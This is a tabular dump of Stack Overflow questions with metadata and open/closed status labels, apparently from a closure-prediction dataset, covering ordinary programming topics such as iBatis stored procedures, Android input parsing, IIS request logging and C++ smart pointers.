PostId
int64 13
11.8M
| PostCreationDate
stringlengths 19
19
| OwnerUserId
int64 3
1.57M
| OwnerCreationDate
stringlengths 10
19
| ReputationAtPostCreation
int64 -33
210k
| OwnerUndeletedAnswerCountAtPostTime
int64 0
5.77k
| Title
stringlengths 10
250
| BodyMarkdown
stringlengths 12
30k
| Tag1
stringlengths 1
25
⌀ | Tag2
stringlengths 1
25
⌀ | Tag3
stringlengths 1
25
⌀ | Tag4
stringlengths 1
25
⌀ | Tag5
stringlengths 1
25
⌀ | PostClosedDate
stringlengths 19
19
⌀ | OpenStatus
stringclasses 5
values | unified_texts
stringlengths 47
30.1k
| OpenStatus_id
int64 0
4
|
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
5,698,080 | 04/18/2011 02:57:30 | 710,159 | 04/14/2011 02:03:17 | 1 | 1 | introspection in obj c | @interface class:nsobject
@property(copy)nsstring*author;
@end
interface class2:class
@property float framespersecond; //cannot find interface declaration for 'class',superclass of 'class2'
@end
@implementation class
@synthesize author;
@end
@implementation class
@synthesize framespersecond ;
@end
This is written in main.m
-(id) currentobject // currentobject undeclared
{
return[[[class2 alloc]init]autorelease];
}
-(void)checkObjectType {
id object = [self currentObject];
class class = [introclass class];
BOOL isclass = [object isMemberOfClass:class];
BOOL isclassOrsubclass = [object isKindOfClass:class];
if (isintroclass) {
NSLog(@"object is an instance of class");
}
if (isclassOrsubclass) {
NSLog(@"object is an instance of class or a subclass");
}
}
| objective-c | null | null | null | null | 04/18/2011 03:29:18 | not a real question | introspection in obj c
===
@interface class:nsobject
@property(copy)nsstring*author;
@end
interface class2:class
@property float framespersecond; //cannot find interface declaration for 'class',superclass of 'class2'
@end
@implementation class
@synthesize author;
@end
@implementation class
@synthesize framespersecond ;
@end
This is written in main.m
-(id) currentobject // currentobject undeclared
{
return[[[class2 alloc]init]autorelease];
}
-(void)checkObjectType {
id object = [self currentObject];
class class = [introclass class];
BOOL isclass = [object isMemberOfClass:class];
BOOL isclassOrsubclass = [object isKindOfClass:class];
if (isintroclass) {
NSLog(@"object is an instance of class");
}
if (isclassOrsubclass) {
NSLog(@"object is an instance of class or a subclass");
}
}
| 1 |
7,537,342 | 09/24/2011 05:58:41 | 962,317 | 09/24/2011 05:56:36 | 1 | 0 | Error converting to int | EditText txtDistance = (EditText)findViewById(R.id.Distance);
int distance = (txtDistance.getText().toInt());
| java | eclipse | android-2.2 | null | null | 09/24/2011 23:00:13 | not a real question | Error converting to int
===
EditText txtDistance = (EditText)findViewById(R.id.Distance);
int distance = (txtDistance.getText().toInt());
| 1 |
4,091,786 | 11/03/2010 21:17:25 | 496,497 | 11/03/2010 21:17:25 | 1 | 0 | Ibatis Ref Curosr issue with Oracle | I'm using Java and Ibatis to call a stored procedure on on oracle database. I seem to be having an issue setting up with parameters.
The store procedure looks like the following:
PROCEDURE Get_Semployees_By_Clt_ID
(
client_id IN HRIS.SEMPLOYEES.SEE_CLT_ID%TYPE,
ref_cursor OUT SYS_REFCURSOR
);
My Ibatis SqlMap:
<sqlMap namespace="Foo">
<resultMap id="employee-map" class="MyFoo">
<result property="foo1" column="foo1"/>
<result property="foo2" column="foo2"/>
</resultMap>
<parameterMap id="clientEmployeesParms" class="java.util.Map" >
<parameter property="in1" jdbcType="INTEGER" javaType="java.lang.Integer" mode="IN"/>
<parameter property="output1" jdbcType="ORACLECURSOR" javaType="java.sql.ResultSet" mode="OUT" />
</parameterMap>
<procedure id="clientEmployees" parameterMap="clientEmployeesParms" resultMap="employee-map">
{ call Package.Get_Clt_ID(?,?) }
</procedure>
</sqlMap>
My Java:
resource = "SqlMapConfig.xml";
reader = Resources.getResourceAsReader (resource);
sqlMap = SqlMapClientBuilder.buildSqlMapClient(reader);
Map map = new HashMap();
map.put("in1", new Integer(23));
list = sqlMap.queryForList("Foo.clientEmployees", map);
Error:
--- The error occurred while applying a parameter map.
--- Check the Employee.clientEmployeesParms.
--- Check the output parameters (retrieval of output parameters failed).
--- Cause: java.lang.NullPointerException
Caused by: java.lang.NullPointerException
at com.ibatis.sqlmap.engine.mapping.statement.GeneralStatement.executeQueryWithCallback(GeneralStatement.java:188)
at com.ibatis.sqlmap.engine.mapping.statement.GeneralStatement.executeQueryForList(GeneralStatement.java:123)
at com.ibatis.sqlmap.engine.impl.SqlMapExecutorDelegate.queryForList(SqlMapExecutorDelegate.java:610)
at com.ibatis.sqlmap.engine.impl.SqlMapExecutorDelegate.queryForList(SqlMapExecutorDelegate.java:584)
at com.ibatis.sqlmap.engine.impl.SqlMapSessionImpl.queryForList(SqlMapSessionImpl.java:101)
at com.ibatis.sqlmap.engine.impl.SqlMapClientImpl.queryForList(SqlMapClientImpl.java:78)
at com.apache.struts.employee.model.IbatisStoredProcedure.main(IbatisStoredProcedure.java:30)
| java | oracle10g | ibatis | null | null | null | open | Ibatis Ref Curosr issue with Oracle
===
I'm using Java and Ibatis to call a stored procedure on on oracle database. I seem to be having an issue setting up with parameters.
The store procedure looks like the following:
PROCEDURE Get_Semployees_By_Clt_ID
(
client_id IN HRIS.SEMPLOYEES.SEE_CLT_ID%TYPE,
ref_cursor OUT SYS_REFCURSOR
);
My Ibatis SqlMap:
<sqlMap namespace="Foo">
<resultMap id="employee-map" class="MyFoo">
<result property="foo1" column="foo1"/>
<result property="foo2" column="foo2"/>
</resultMap>
<parameterMap id="clientEmployeesParms" class="java.util.Map" >
<parameter property="in1" jdbcType="INTEGER" javaType="java.lang.Integer" mode="IN"/>
<parameter property="output1" jdbcType="ORACLECURSOR" javaType="java.sql.ResultSet" mode="OUT" />
</parameterMap>
<procedure id="clientEmployees" parameterMap="clientEmployeesParms" resultMap="employee-map">
{ call Package.Get_Clt_ID(?,?) }
</procedure>
</sqlMap>
My Java:
resource = "SqlMapConfig.xml";
reader = Resources.getResourceAsReader (resource);
sqlMap = SqlMapClientBuilder.buildSqlMapClient(reader);
Map map = new HashMap();
map.put("in1", new Integer(23));
list = sqlMap.queryForList("Foo.clientEmployees", map);
Error:
--- The error occurred while applying a parameter map.
--- Check the Employee.clientEmployeesParms.
--- Check the output parameters (retrieval of output parameters failed).
--- Cause: java.lang.NullPointerException
Caused by: java.lang.NullPointerException
at com.ibatis.sqlmap.engine.mapping.statement.GeneralStatement.executeQueryWithCallback(GeneralStatement.java:188)
at com.ibatis.sqlmap.engine.mapping.statement.GeneralStatement.executeQueryForList(GeneralStatement.java:123)
at com.ibatis.sqlmap.engine.impl.SqlMapExecutorDelegate.queryForList(SqlMapExecutorDelegate.java:610)
at com.ibatis.sqlmap.engine.impl.SqlMapExecutorDelegate.queryForList(SqlMapExecutorDelegate.java:584)
at com.ibatis.sqlmap.engine.impl.SqlMapSessionImpl.queryForList(SqlMapSessionImpl.java:101)
at com.ibatis.sqlmap.engine.impl.SqlMapClientImpl.queryForList(SqlMapClientImpl.java:78)
at com.apache.struts.employee.model.IbatisStoredProcedure.main(IbatisStoredProcedure.java:30)
| 0 |
11,526,868 | 07/17/2012 16:28:59 | 470,879 | 10/09/2010 06:09:16 | 3,334 | 53 | Force genstrings to build the Localizable.strings file in order of appearance rather than alphabetically | I'm new to internationalization and localization for iOS. I'm running genstrings:
`find . -name \*.m | xargs genstrings -o en.lproj` to generate my Localizable.strings files. It builds the file in alphabetical order (by key).
For ease of translation I'd prefer that the keys and values be ordered by their order of appearance in the .m files. Is this possible with genstrings? I couldn't find the relevant info on its `man` page.
| ios | cocoa-touch | localization | nslocalizedstring | genstrings | null | open | Force genstrings to build the Localizable.strings file in order of appearance rather than alphabetically
===
I'm new to internationalization and localization for iOS. I'm running genstrings:
`find . -name \*.m | xargs genstrings -o en.lproj` to generate my Localizable.strings files. It builds the file in alphabetical order (by key).
For ease of translation I'd prefer that the keys and values be ordered by their order of appearance in the .m files. Is this possible with genstrings? I couldn't find the relevant info on its `man` page.
| 0 |
5,663,930 | 04/14/2011 13:22:45 | 708,039 | 04/14/2011 13:22:45 | 1 | 0 | progress bar during sending a file | when sending file from client to server where should we add the code for progress bar? | java | progress | bar | null | null | 04/14/2011 13:26:32 | not a real question | progress bar during sending a file
===
when sending file from client to server where should we add the code for progress bar? | 1 |
6,662,191 | 07/12/2011 09:41:48 | 626,590 | 02/21/2011 12:41:31 | 1 | 0 | Happy Birthday Roger Planes | I'm try write my friend an application which says happy birthday what's the best way to write this to be run in the background and then pop-up around 5pm today...? | c# | asp.net | command-line | null | null | 07/12/2011 09:49:11 | not a real question | Happy Birthday Roger Planes
===
I'm try write my friend an application which says happy birthday what's the best way to write this to be run in the background and then pop-up around 5pm today...? | 1 |
1,092,376 | 07/07/2009 13:34:47 | 15,928 | 09/17/2008 13:34:46 | 117 | 4 | what c# knowledge should I have? | A very open question. I've been programming in C# for the past 5 months doing small projects that I completed successfully.
Today I went to an interview for a C# role. The 1st question was 'Tell me about boxing'. Given my experience I had no idea what the guy meant. Needless to say the interview didn't go that well. Others questions were 'why isn't it recommended to use an ArrayList of int', 'tell me what you know about threading', etc.
I don't really want this to happen again so I'm planning to spend some time reading (and practising) more on C#. I understand that the best way of learning is by coding but coding wouldn't have really helped me answer the question about 'boxing' for example.
I'm not asking you to answer the above technical questions. In fact, I know now their answer as I went straight to Google after the interview and it's how I realised that my C# knowledge is somewhat limited.
My question is: in your opinion, which knowledge should any C# developer have? Ideally it would be better if you could categorize it (Basic knwoledge anyone should have without exception, Advanced knowlege, Expert knowledge etc). No need to go into details. Doing research on whatever you list will be a good exercise for me.
Thanks. | c# | knowledge | null | null | null | 12/06/2011 02:45:35 | off topic | what c# knowledge should I have?
===
A very open question. I've been programming in C# for the past 5 months doing small projects that I completed successfully.
Today I went to an interview for a C# role. The 1st question was 'Tell me about boxing'. Given my experience I had no idea what the guy meant. Needless to say the interview didn't go that well. Others questions were 'why isn't it recommended to use an ArrayList of int', 'tell me what you know about threading', etc.
I don't really want this to happen again so I'm planning to spend some time reading (and practising) more on C#. I understand that the best way of learning is by coding but coding wouldn't have really helped me answer the question about 'boxing' for example.
I'm not asking you to answer the above technical questions. In fact, I know now their answer as I went straight to Google after the interview and it's how I realised that my C# knowledge is somewhat limited.
My question is: in your opinion, which knowledge should any C# developer have? Ideally it would be better if you could categorize it (Basic knwoledge anyone should have without exception, Advanced knowlege, Expert knowledge etc). No need to go into details. Doing research on whatever you list will be a good exercise for me.
Thanks. | 2 |
6,886,861 | 07/31/2011 00:52:34 | 771,318 | 05/25/2011 19:13:11 | 24 | 0 | How to add a post to a tab in my blogger | I am new to Blogging. I created a blog. I created a some tabs in the blog.
I followed these steps to create tabs.
1) I created some pages in the blog
2) in add gadgets i selected link lists and in the URL I gave URL of my pages which I created earlier.
3) Now I am able to see tabs.
But now I would like to add a post a particular tab.
How can I do it.
Here is my blog: [http://software-interview-stuff.blogspot.com/][1]
In this link I posted a video which I would like to see under blogger tips and tricks tab.
Right now what ever i post it is under home tab.
Please help me
[1]: http://software-interview-stuff.blogspot.com/ | post | tabs | add | blogger | null | 08/01/2011 04:47:27 | off topic | How to add a post to a tab in my blogger
===
I am new to Blogging. I created a blog. I created a some tabs in the blog.
I followed these steps to create tabs.
1) I created some pages in the blog
2) in add gadgets i selected link lists and in the URL I gave URL of my pages which I created earlier.
3) Now I am able to see tabs.
But now I would like to add a post a particular tab.
How can I do it.
Here is my blog: [http://software-interview-stuff.blogspot.com/][1]
In this link I posted a video which I would like to see under blogger tips and tricks tab.
Right now what ever i post it is under home tab.
Please help me
[1]: http://software-interview-stuff.blogspot.com/ | 2 |
4,420,550 | 12/12/2010 05:40:39 | 367,121 | 06/15/2010 10:13:00 | 41 | 0 | How to calculate 100 Meter distance if latitude and longitude of a point is know | I want to know if it is possible to calculate 100 meter distance around a given point with known latitude and longitude. I have some coordinates in MySql database. I want to know if a specific coordinate lies in 100 meter range from a given point. | google-maps | gps | google-maps-markers | null | null | null | open | How to calculate 100 Meter distance if latitude and longitude of a point is know
===
I want to know if it is possible to calculate 100 meter distance around a given point with known latitude and longitude. I have some coordinates in MySql database. I want to know if a specific coordinate lies in 100 meter range from a given point. | 0 |
4,322,234 | 12/01/2010 07:50:48 | 443,244 | 09/07/2010 11:54:33 | 41 | 6 | How to stop scrolling of Panel scrollbar when textBox is selected | I am working on one windows form application.
I came across this small but irritating problem.
I am having panel called Panel1 in which all textBoxes are added.(around 12 textBoxes)
When I click into my textBox (one of the last textBoxes) to type in a value and as soon as i press the mouse button focus jumps to the textBoxes present above it or we can say scroll bar of the panel1 scrolls automatically and focus changes.
i tried many things but it is not working.
how can i stop scrolling of panel and jumping of focus ?
Please let me know if anybody has the solution for the problem.
Regards,
Thanks a lot.
| c# | winforms | visual-studio-2008 | textbox | scrollbar | null | open | How to stop scrolling of Panel scrollbar when textBox is selected
===
I am working on one windows form application.
I came across this small but irritating problem.
I am having panel called Panel1 in which all textBoxes are added.(around 12 textBoxes)
When I click into my textBox (one of the last textBoxes) to type in a value and as soon as i press the mouse button focus jumps to the textBoxes present above it or we can say scroll bar of the panel1 scrolls automatically and focus changes.
i tried many things but it is not working.
how can i stop scrolling of panel and jumping of focus ?
Please let me know if anybody has the solution for the problem.
Regards,
Thanks a lot.
| 0 |
10,633,695 | 05/17/2012 10:11:53 | 738,165 | 05/04/2011 14:07:28 | 355 | 15 | Sorting a VARCHAR column as FLOAT using the CAST operator don't work in MySQL | I can't find a way to sort a varchar column casted as float. Here is my SQL request:
SELECT guid, number FROM table ORDER BY 'CAST(number AS FLOAT) DESC'
The "number" column is defined like this:
number varchar(20) ascii_general_ci
And the values defined in this column for my test are :
0.00
200.00
20.00
100.00
MySQL totally ignore the CAST operator and sort the columns by guid...
Is there a bug in MySQL or did I do something wrong ? | mysql | casting | null | null | null | 05/17/2012 17:46:02 | not a real question | Sorting a VARCHAR column as FLOAT using the CAST operator don't work in MySQL
===
I can't find a way to sort a varchar column casted as float. Here is my SQL request:
SELECT guid, number FROM table ORDER BY 'CAST(number AS FLOAT) DESC'
The "number" column is defined like this:
number varchar(20) ascii_general_ci
And the values defined in this column for my test are :
0.00
200.00
20.00
100.00
MySQL totally ignore the CAST operator and sort the columns by guid...
Is there a bug in MySQL or did I do something wrong ? | 1 |
5,672,688 | 04/15/2011 05:24:33 | 119,772 | 06/09/2009 11:57:53 | 4,148 | 260 | Can we avoid interning of strings in java? | Can we completely disable interning of strings. It might not be really helpful, but just a thought. I can think atleast one point where it could be helpful i.e. during jvm tuning, controlling the size of the perm gen.
For e.g. if I give out an OSGI framework and anyone can add any number of bundles of their own and each bundles string interning can completely screw up my tuning parameters. (Ofcourse I know that we should do tuning on a given fixed distro, but still...)
Any thoughts!! | java | performance | permgen | intern | null | null | open | Can we avoid interning of strings in java?
===
Can we completely disable interning of strings. It might not be really helpful, but just a thought. I can think atleast one point where it could be helpful i.e. during jvm tuning, controlling the size of the perm gen.
For e.g. if I give out an OSGI framework and anyone can add any number of bundles of their own and each bundles string interning can completely screw up my tuning parameters. (Ofcourse I know that we should do tuning on a given fixed distro, but still...)
Any thoughts!! | 0 |
7,205,777 | 08/26/2011 13:58:50 | 914,231 | 08/26/2011 13:58:50 | 1 | 0 | How to add SVN source control plug in to Visual studeo 2010? | I have work with visual studeo 2010.I am install it then i am install ankh svn software but it is not added to the visual studeo plug in.Please give any procedure for adding it to the visual studeo 2010.
Thank you
Dadasaheb Chobhe | c# | .net | svn | tortoisesvn | ankhsvn | 08/26/2011 19:41:11 | not a real question | How to add SVN source control plug in to Visual studeo 2010?
===
I have work with visual studeo 2010.I am install it then i am install ankh svn software but it is not added to the visual studeo plug in.Please give any procedure for adding it to the visual studeo 2010.
Thank you
Dadasaheb Chobhe | 1 |
4,892,618 | 02/03/2011 22:44:13 | 602,365 | 02/03/2011 22:37:51 | 1 | 0 | C# How invoke this Javascript In c#??? | I want to invoke this javascript.
//<BUTTON id="TestID" class="My_Test button small" type="submit"><SPAN class="account">By</SPAN></BUTTON>
How can I send this command without use the mouse an click the button on the form??
| c# | javascript | null | null | null | 02/03/2011 22:59:04 | not a real question | C# How invoke this Javascript In c#???
===
I want to invoke this javascript.
//<BUTTON id="TestID" class="My_Test button small" type="submit"><SPAN class="account">By</SPAN></BUTTON>
How can I send this command without use the mouse an click the button on the form??
| 1 |
9,085,852 | 01/31/2012 19:44:28 | 973,397 | 09/30/2011 15:37:26 | 52 | 3 | Gathering Date and Time of page load, on page load | I have a web form setup on an area of my site. I need to gather the Date and Time of when it's visited.
I'm wondering how I'd be able to code it so that, on page load, the date and time is gathered?
How could I do this? *Something with defining on page load with Javascript / jQuery > calling a PHP snippet that gathers Y = date, T = time > then I tie to store where my form is stored?*
Thanks for any suggestions, code help also appreciated! | php | javascript | jquery | null | null | 02/01/2012 20:08:16 | not a real question | Gathering Date and Time of page load, on page load
===
I have a web form setup on an area of my site. I need to gather the Date and Time of when it's visited.
I'm wondering how I'd be able to code it so that, on page load, the date and time is gathered?
How could I do this? *Something with defining on page load with Javascript / jQuery > calling a PHP snippet that gathers Y = date, T = time > then I tie to store where my form is stored?*
Thanks for any suggestions, code help also appreciated! | 1 |
6,874,146 | 07/29/2011 13:47:15 | 24,835 | 10/03/2008 14:07:26 | 439 | 13 | JDBC Prepared Statement . setDate(....) doesn't save the time, just the date.. How can I save the time as well? | I have the following Query :
INSERT INTO users (user_id, date_created) VALUES (?,?)
I have the following prepared statement
PreparedStatement insertUser = dbConnection.prepareStatement(sql, Statement.RETURN_GENERATED_KEYS);
insertUser.setInt(1, 7);
java.util.Date now = new java.util.Date(System.currentTimeMillis());
insertUser.setDate(2, new java.sql.Date((new Date(System.currentTimeMillis())).getTime()));
insertUser.executeUpdate();
If i check the database, I find that it is inserting only today's date not the time though, so it would be : 2011-07-29 00:00:00
What should i put in the setDate to get the time as well?
Thanks
| java | jdbc | prepared-statement | null | null | null | open | JDBC Prepared Statement . setDate(....) doesn't save the time, just the date.. How can I save the time as well?
===
I have the following Query :
INSERT INTO users (user_id, date_created) VALUES (?,?)
I have the following prepared statement
PreparedStatement insertUser = dbConnection.prepareStatement(sql, Statement.RETURN_GENERATED_KEYS);
insertUser.setInt(1, 7);
java.util.Date now = new java.util.Date(System.currentTimeMillis());
insertUser.setDate(2, new java.sql.Date((new Date(System.currentTimeMillis())).getTime()));
insertUser.executeUpdate();
If i check the database, I find that it is inserting only today's date not the time though, so it would be : 2011-07-29 00:00:00
What should i put in the setDate to get the time as well?
Thanks
| 0 |
7,590,591 | 09/28/2011 22:51:44 | 784,868 | 06/05/2011 16:05:36 | 50 | 3 | A slightly more complex dialog background | I am using <shape>, <style> and the Dialog(context, theme) constructor to create custom dialogs for my app. I currently have a single-color background going, but would like to have a two-tone background separating the buttons at the bottom from the rest of the content. I just can't figure out how to get it.
I have this...
![current][1]
Using the following shape and style...
<shape
xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<solid
android:color="#FF333333"/>
<stroke
android:width="5dp"
android:color="#FF000000"/>
<padding
android:left="12dp"
android:top="12dp"
android:right="12dp"
android:bottom="12dp"/>
<corners
android:radius="20dp"/>
</shape>
<style name="dialog_back" parent="@android:style/Theme.Dialog">
<item name="android:windowBackground">@drawable/dialog_back</item>
</style>
But I want this...
![future][2]
[1]: http://i.stack.imgur.com/XsPyY.png
[2]: http://i.stack.imgur.com/BAJQ6.png
The cumulative height of the content will vary but the button height will always be the same.
Any suggestions? | android | dialog | drawable | null | null | null | open | A slightly more complex dialog background
===
I am using <shape>, <style> and the Dialog(context, theme) constructor to create custom dialogs for my app. I currently have a single-color background going, but would like to have a two-tone background separating the buttons at the bottom from the rest of the content. I just can't figure out how to get it.
I have this...
![current][1]
Using the following shape and style...
<shape
xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<solid
android:color="#FF333333"/>
<stroke
android:width="5dp"
android:color="#FF000000"/>
<padding
android:left="12dp"
android:top="12dp"
android:right="12dp"
android:bottom="12dp"/>
<corners
android:radius="20dp"/>
</shape>
<style name="dialog_back" parent="@android:style/Theme.Dialog">
<item name="android:windowBackground">@drawable/dialog_back</item>
</style>
But I want this...
![future][2]
[1]: http://i.stack.imgur.com/XsPyY.png
[2]: http://i.stack.imgur.com/BAJQ6.png
The cumulative height of the content will vary but the button height will always be the same.
Any suggestions? | 0 |
8,644,545 | 12/27/2011 12:18:49 | 1,065,699 | 11/25/2011 13:23:46 | 6 | 0 | iphone Application orientation design | I am very new to iPhone development. I have to design the app which will look adjusted in both portrait and landscape mode. What precautions/coding standard I should take so that it will not further painful for me. | iphone | design | ios5 | null | null | 12/27/2011 16:05:12 | not a real question | iphone Application orientation design
===
I am very new to iPhone development. I have to design the app which will look adjusted in both portrait and landscape mode. What precautions/coding standard I should take so that it will not further painful for me. | 1 |
3,865,638 | 10/05/2010 16:20:04 | 288,252 | 03/07/2010 15:35:46 | 134 | 1 | Logging server-wide request data (including POST data) in IIS 6 / ASP.NET webforms | Here's the big picture. We're running a server in IIS 6 that hosts several web sites and applications, and we're in the process of moving the whole thing to a different data center with a slightly different setup. We've notified our users and updated our DNS info so that theoretically everyone will be happily hitting the new server from day 1, but we know that someone will inevitably fall through the cracks.
The powers that be want a "Listener" page/handler that will receive *all* requests to the server and log the entire request to a text file, including (especially) POST data.
That's where I'm stuck. I don't know how to implement a single handler that will receive all requests to the server. I vaguely understand IIS 6 redirection options, but they all seem to lose the POST data on the redirect. I also know a little about IIS 6's built-in logging, but it ignores POST data as well.
Is there a simple(ish) way to route all requests to the server so that they all hit a single handler, while maintaining post data?
EDIT: This is in WebForms, if that matters, but other solutions (if small) are definitely worth considering. | asp.net | http | logging | post | iis6 | null | open | Logging server-wide request data (including POST data) in IIS 6 / ASP.NET webforms
===
Here's the big picture. We're running a server in IIS 6 that hosts several web sites and applications, and we're in the process of moving the whole thing to a different data center with a slightly different setup. We've notified our users and updated our DNS info so that theoretically everyone will be happily hitting the new server from day 1, but we know that someone will inevitably fall through the cracks.
The powers that be want a "Listener" page/handler that will receive *all* requests to the server and log the entire request to a text file, including (especially) POST data.
That's where I'm stuck. I don't know how to implement a single handler that will receive all requests to the server. I vaguely understand IIS 6 redirection options, but they all seem to lose the POST data on the redirect. I also know a little about IIS 6's built-in logging, but it ignores POST data as well.
Is there a simple(ish) way to route all requests to the server so that they all hit a single handler, while maintaining post data?
EDIT: This is in WebForms, if that matters, but other solutions (if small) are definitely worth considering. | 0 |
10,631,161 | 05/17/2012 06:52:05 | 1,252,506 | 03/06/2012 14:55:50 | 1 | 0 | hashmap data insertion in SQL | kindly suggest me a code on how to insert multiple HashMap data in a single SQL database table
eg: I have 3 hashmap in a single program , how do i iterate through all the hashmap data and inert the same in database | jdbc | null | null | null | null | 05/23/2012 18:08:12 | not a real question | hashmap data insertion in SQL
===
kindly suggest me a code on how to insert multiple HashMap data in a single SQL database table
eg: I have 3 hashmap in a single program , how do i iterate through all the hashmap data and inert the same in database | 1 |
10,153,539 | 04/14/2012 12:16:16 | 299,991 | 03/23/2010 14:30:52 | 118 | 1 | jquery input validation+background color | I have an HTML form where I want to add some validation logic.
In that form i have two input fields, one of them has to get always integer values, while the other one have to get always float values. (first one is items number and other one is total cost).
I want those input fields to change background color to light red if the input value is wrong (float value as item number, for example) and i want to care only for the logic of it, maybe i can guess jQuery can take care of everything else, but I can't find any help on internet on how to get this done without reinventing the wheel.
Does anyone have some hints on how to do that? | php | jquery | jquery-ui | validation | null | null | open | jquery input validation+background color
===
I have an HTML form where I want to add some validation logic.
In that form i have two input fields, one of them has to get always integer values, while the other one have to get always float values. (first one is items number and other one is total cost).
I want those input fields to change background color to light red if the input value is wrong (float value as item number, for example) and i want to care only for the logic of it, maybe i can guess jQuery can take care of everything else, but I can't find any help on internet on how to get this done without reinventing the wheel.
Does anyone have some hints on how to do that? | 0 |
5,813,331 | 04/28/2011 03:38:04 | 610,734 | 02/10/2011 02:29:02 | 1 | 0 | Can silverlight finally substitute javascript? | Maybe it sounds silly, but it seems to me that since silverlight and javascript both can only be executed on the browser, if the industry standard requires all the browsers to pre-install silverlight, can MS possibily create a new technology that can balance the C# code execution on server side and browser side? All the client and server side can be developed by .net only, and I don't need to develop the javacript anymore.
Is this possible? Or is there some hurdles that MS cannot overcome to abandon javascript?
Thanks,
Wei | c# | javascript | silverlight | null | null | 04/28/2011 03:42:58 | not constructive | Can silverlight finally substitute javascript?
===
Maybe it sounds silly, but it seems to me that since silverlight and javascript both can only be executed on the browser, if the industry standard requires all the browsers to pre-install silverlight, can MS possibily create a new technology that can balance the C# code execution on server side and browser side? All the client and server side can be developed by .net only, and I don't need to develop the javacript anymore.
Is this possible? Or is there some hurdles that MS cannot overcome to abandon javascript?
Thanks,
Wei | 4 |
11,650,973 | 07/25/2012 13:35:00 | 1,513,168 | 07/09/2012 21:35:10 | 34 | 0 | How to "cd" to a directory after "grep"? | I want to find a directory using `grep` then change current directory to the resulting directory.
For example:
$ ls | grep 1670 |
finds me directory haib12CJS1670. I am trying to do something like below:
$ ls | grep 1670 | cd
so that my directory is set to haib12CJS1670 at a single step. Obviously my way is not working. Any suggestions? Thank you | unix | terminal | null | null | null | 07/27/2012 04:16:05 | off topic | How to "cd" to a directory after "grep"?
===
I want to find a directory using `grep` then change current directory to the resulting directory.
For example:
$ ls | grep 1670 |
finds me directory haib12CJS1670. I am trying to do something like below:
$ ls | grep 1670 | cd
so that my directory is set to haib12CJS1670 at a single step. Obviously my way is not working. Any suggestions? Thank you | 2 |
1,161,992 | 07/21/2009 22:02:23 | 130,717 | 06/29/2009 22:25:56 | 693 | 33 | How can future programming languages better facilitate abstraction? | One of the key properties to designing comprehensible software (and, indeed, designing anything at all) is to develop a **good set of abstractions**. These days, those abstractions include things like functions, classes, interfaces, recursion, and higher-order functions. But what else is there? How can we further abstract our designs, so that I needn't think about *anything* but my immediate, direct goal? What novel abstractions have yet to be leveraged by existing technologies?
Also note that most of the items on my list (with the exception, perhaps, of recursion) are also tools used for code reuse. Code reuse is *not* the subject of this question, and is not what I see as a necessary aspect of a good abstraction. Functions are useful as abstractions because they hide what they are doing behind a descriptive name, not because I can call them from several different places.
A poorly-formed idea: Is a driver function that only calls a sequence of other functions, without maintaining any state of its own, really the same as a function? We write it as a function, and call it as a function, but perhaps it represents a different concept? This is reflected in some languages by making a distinctions between procedures returning values and procedures not returning values. But maybe there's a better way to view that difference, some different way to abstract the sequence of relatively unrelated steps?
So to reiterate, **how can future programming languages better facilitate abstraction?** | programming-languages | future | design | abstraction | null | null | open | How can future programming languages better facilitate abstraction?
===
One of the key properties to designing comprehensible software (and, indeed, designing anything at all) is to develop a **good set of abstractions**. These days, those abstractions include things like functions, classes, interfaces, recursion, and higher-order functions. But what else is there? How can we further abstract our designs, so that I needn't think about *anything* but my immediate, direct goal? What novel abstractions have yet to be leveraged by existing technologies?
Also note that most of the items on my list (with the exception, perhaps, of recursion) are also tools used for code reuse. Code reuse is *not* the subject of this question, and is not what I see as a necessary aspect of a good abstraction. Functions are useful as abstractions because they hide what they are doing behind a descriptive name, not because I can call them from several different places.
A poorly-formed idea: Is a driver function that only calls a sequence of other functions, without maintaining any state of its own, really the same as a function? We write it as a function, and call it as a function, but perhaps it represents a different concept? This is reflected in some languages by making a distinctions between procedures returning values and procedures not returning values. But maybe there's a better way to view that difference, some different way to abstract the sequence of relatively unrelated steps?
So to reiterate, **how can future programming languages better facilitate abstraction?** | 0 |
4,580,201 | 01/02/2011 19:57:06 | 161,554 | 08/23/2009 12:22:30 | 1,279 | 77 | Handling ContextMenuStrip on ListView | I have a ListView with some items. The ListView has some group defined, some column, and some items are added. The ListView has set also the ContextMenu.
On *Opening* event of the ContextMenu, I shall check whether the context menu was opened on a ListView item. So, I did:
private void CtxMenuProcess_Opening(object sender, CancelEventArgs e)
{
ContextMenuStrip ctxMenuStrip = (ContextMenuStrip)sender;
ListViewHitTestInfo hitTestInfo = LstViewAdminApp.HitTest(LstViewAdminApp.PointToClient(ctxMenuStrip.Location));
if (hitTestInfo.Item != null) {
//....
}
}
Sadly, the hit doesn't happen.
I feel that the coordinates of the *ctxMenuStrip* are the wrong ones, but I tried a lot of "variants" without success, and the documentation of ListView.HitTest is very poor.
Anybody can help me? | c# | .net | listview | contextmenu | null | null | open | Handling ContextMenuStrip on ListView
===
I have a ListView with some items. The ListView has some group defined, some column, and some items are added. The ListView has set also the ContextMenu.
On *Opening* event of the ContextMenu, I shall check whether the context menu was opened on a ListView item. So, I did:
private void CtxMenuProcess_Opening(object sender, CancelEventArgs e)
{
ContextMenuStrip ctxMenuStrip = (ContextMenuStrip)sender;
ListViewHitTestInfo hitTestInfo = LstViewAdminApp.HitTest(LstViewAdminApp.PointToClient(ctxMenuStrip.Location));
if (hitTestInfo.Item != null) {
//....
}
}
Sadly, the hit doesn't happen.
I feel that the coordinates of the *ctxMenuStrip* are the wrong ones, but I tried a lot of "variants" without success, and the documentation of ListView.HitTest is very poor.
Anybody can help me? | 0 |
9,249,724 | 02/12/2012 14:54:12 | 528,590 | 12/02/2010 21:07:55 | 845 | 9 | Passing a smart pointer as a parameter to a function | I am implementing a smartpointer-template and there is one thing that boogles me; how do I increase the reference counter when passing a smartpointer as a parameter to another function? What operator do I overload to increase ref count?
For example:
class test
{
test() { }
~test() { }
};
void A()
{
SmartPointer<test> p;
B(p);
}
void B(SmartPointer<test> p)
{
C(p);
}
void C(SmartPointer<test> p)
{
// p ref count is still 1 and will be destroyed at end of C
}
Thanks | c++ | memory-management | smart-pointers | reference-counting | null | null | open | Passing a smart pointer as a parameter to a function
===
I am implementing a smartpointer-template and there is one thing that boogles me; how do I increase the reference counter when passing a smartpointer as a parameter to another function? What operator do I overload to increase ref count?
For example:
class test
{
test() { }
~test() { }
};
void A()
{
SmartPointer<test> p;
B(p);
}
void B(SmartPointer<test> p)
{
C(p);
}
